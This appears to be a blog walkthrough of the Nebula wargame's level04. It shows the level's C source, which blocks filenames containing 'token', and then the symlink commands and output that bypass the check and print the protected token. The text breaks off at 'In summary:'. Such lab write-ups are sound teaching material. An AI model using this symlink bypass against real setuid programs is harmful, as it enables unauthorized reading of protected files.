27 Apr 2020
Depending on filenames to prevent unauthorized access is a terrible idea.
Our goal for this level is to obtain the value stored in the /home/flag04/token
file. We’re provided with the following
source code for the executable at /home/flag04/flag04
:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
It first checks that more than one argument is supplied.
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
The reason it’s testing argc == 1
is because the first argument
is always the name of the executable itself.
Next it checks if the supplied filename contains the substring “token” using strstr
from the C stdlib.
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
If the substring is found, the app exits after informing the user that they are not allowed to access that file.
We’ll want to avoid this.
Next it opens and reads the file into the buffer
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
And finally, it writes the contents to stdout.
write(1, buf, rc);
The first argument here is a file descriptor; in this case it’s file descriptor 1 - aka STDOUT.
Alright so how do we sirsumvent the security checks?
Enter symbolic links.
A symbolic link is essentially a named pointer to another file. We can create a symbolic link that doesn’t contain “token” in its name and point it at the token file like
level04@nebula:~$ ln -s /home/flag04/token /tmp/trickedya
level04@nebula:~$ ls -l /tmp
total 0
lrwxrwxrwx 1 level04 level04 18 2020-04-10 09:00 trickedya -> /home/flag04/token
Now all that’s left is to run the app again but hand it the symlink
level04@nebula:~$ /home/flag04/flag04 /tmp/trickedya
06508b5e-8909-4f38-b630-fdb148a848a2
And there it is – the token we weren’t supposed to see!
In summary: